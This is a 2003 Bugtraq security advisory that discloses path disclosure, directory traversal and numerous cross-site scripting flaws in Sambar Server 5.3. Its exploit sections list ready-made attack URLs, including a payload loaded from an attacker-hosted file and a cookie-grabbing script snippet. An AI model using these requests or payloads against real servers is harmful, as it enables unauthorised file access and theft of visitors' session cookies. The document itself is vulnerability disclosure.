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Date: 27 Mar 2003 17:26:19 -0000
From: "Grégory" Le Bras <gregory.lebras@...urity-corporation.com>
To: bugtraq@...urityfocus.com
Subject: [SCSA-012] Multiple vulnerabilities in Sambar Server
________________________________________________________________________
Security Corporation Security Advisory [SCSA-012]
________________________________________________________________________
PROGRAM: Sambar Server
HOMEPAGE: http://www.sambar.com/
VULNERABLE VERSIONS: 5.3 and prior
________________________________________________________________________
DESCRIPTION
________________________________________________________________________
"Sambar Server is the new standard in high performance multi-functional
servers with features rivaling other commercial products selling
separately for several hundreds of dollars. It's Winsock2 compliant Win32
integration functions on Windows 95, Windows 98, Windows NT, Win2000,
and XP as a service or as an application."
(direct quote from http://sambar.jalyn.net)
DETAILS & EXPLOITS
________________________________________________________________________
¤ Path Disclosure :
Sambar default's installation of the CGI bin directory contains
a testcgi.exe and a environ.pl that allows remote users to view
information regarding the operating system and
web server's directory.
These vulnerabilities can be triggered by a remote user submitting
a specially crafted HTTP request.
- Exploits :
http://[target]/cgi-bin/environ.pl
http://[target]/cgi-bin/testcgi.exe
Will produce the following output:
- environ.pl :
--------------
Sambar Server CGI Environment Variables
GATEWAY_INTERFACE: CGI/1.1
PATH_INFO:
PATH_TRANSLATED: C:/sambar53/cgi-bin/environ.pl
QUERY_STRING:
REMOTE_ADDR: 127.0.0.1
REMOTE_HOST:
REMOTE_USER:
REQUEST_METHOD: GET
DOCUMENT_NAME: environ.pl
DOCUMENT_URI: /cgi-bin/environ.pl
SCRIPT_NAME: /cgi-bin/environ.pl
SCRIPT_FILENAME: C:/sambar53/cgi-bin/environ.pl
SERVER_NAME: localhost
SERVER_PORT: 80
SERVER_PROTOCOL: HTTP/1.1
SERVER_SOFTWARE: SAMBAR
CONTENT_LENGTH: 0
CONTENT:
- testcgi.exe :
---------------
Test CGI ... Version 1.00 [ build date 8-03-97 ]
QUERY_STRING
PATH_INFO
PATH_TRANSLATED C:/sambar53/cgi-bin/testcgi.exe
SCRIPT_NAME /cgi-bin/testcgi.exe
SCRIPT_FILENAME C:/sambar53/cgi-bin/testcgi.exe
DOCUMENT_ROOT C:/sambar53/docs/
HTTP_USER_AGENT Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)
REMOTE_ADDR 127.0.0.1
REMOTE_HOST
SERVER_NAME localhost
SERVER_PROTOCOL HTTP/1.1
SERVER_SOFTWARE SAMBAR
CONTENT_TYPE
----------------------------
¤ Directory Disclosure :
Other security vulnerabilities was found in Sambar which allow an
attacker to reveal the content of the files and the directories
on the web server, even if it should not be revealed.
These vulnerabilities can be simply exploited by requesting a
specially crafted URL utilizing iecreate.stm and ieedit.stm
application with a '../' appended.
- Exploits :
http://[target]/sysuser/docmgr/iecreate.stm?template=../
http://[target]/sysuser/docmgr/ieedit.stm?url=../
----------------------------
¤ Cross Site Scripting :
Many exploitable bugs was found on Sambar Server which cause script
execution on client's computer by following a crafted url.
This kind of attack known as "Cross-Site Scripting Vulnerability" is
present in many section of the web site, an attacker can input
specially crafted links and/or other malicious scripts.
- Exploits :
http://[target]/netutils/ipdata.stm?ipaddr=[hostile_code]
http://[target]/netutils/whodata.stm?sitename=[hostile_code]
http://[target]/netutils/findata.stm?user=[hostile_code]
http://[target]/netutils/findata.stm?host=[hostile_code]
http://[target]/isapi/testisa.dll?check1=[hostile_code]
http://[target]/cgi-bin/environ.pl?param1=[hostile_code]
http://[target]/samples/search.dll?query=[hostile_code]&logic=AND
http://[target]/wwwping/index.stm?wwwsite=[hostile_code]
http://[target]/syshelp/stmex.stm?foo=[hostile_code]&bar=456
http://[target]/syshelp/stmex.stm?foo=123&bar=[hostile_code]
http://[target]/syshelp/cscript/showfunc.stm?func=[hostile_code]
http://[target]/syshelp/cscript/showfncs.stm?pkg=[hostile_code]
http://[target]/syshelp/cscript/showfnc.stm?pkg=[hostile_code]
http://[target]/sysuser/docmgr/ieedit.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/ieedit.stm?name=[hostile_code]
http://[target]/sysuser/docmgr/edit.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/edit.stm?name=[hostile_code]
http://[target]/sysuser/docmgr/iecreate.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/create.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/info.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/info.stm?name=[hostile_code]
http://[target]/sysuser/docmgr/ftp.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/htaccess.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/mkdir.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/rename.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/rename.stm?name=[hostile_code]
http://[target]/sysuser/docmgr/search.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/search.stm?query=[hostile_code]
http://[target]/sysuser/docmgr/sendmail.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/sendmail.stm?name=[hostile_code]
http://[target]/sysuser/docmgr/template.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/update.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/update.stm?name=[hostile_code]
http://[target]/sysuser/docmgr/vccheckin.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/vccheckin.stm?name=[hostile_code]
http://[target]/sysuser/docmgr/vccreate.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/vccreate.stm?name=[hostile_code]
http://[target]/sysuser/docmgr/vchist.stm?path=[hostile_code]
http://[target]/sysuser/docmgr/vchist.stm?name=[hostile_code]
http://[target]/cgi-bin/testcgi.exe?[hostile_code]
- An other Cross Site Scripting can be exploited with a
remote file where's include the hostile code like this :
http://[target]/sysuser/docmgr/ieedit.stm?url=http://
[attacker]/hostile_file.htm
The hostile code could be :
[script]alert("Cookie="+document.cookie)[/script]
(open a window with the cookie of the visitor.)
(replace [] by <>)
SOLUTIONS
________________________________________________________________________
No solution for the moment.
VENDOR STATUS
________________________________________________________________________
The vendor has reportedly been notified.
LINKS
________________________________________________________________________
- http://www.security-corp.org/index.php?ink=4-15-1
- Version Française :
http://www.security-corporation.com/index.php?id=advisories&a=012-FR
------------------------------------------------------------------------
Grégory Le Bras aka GaLiaRePt | http://www.Security-Corporation.com
------------------------------------------------------------------------
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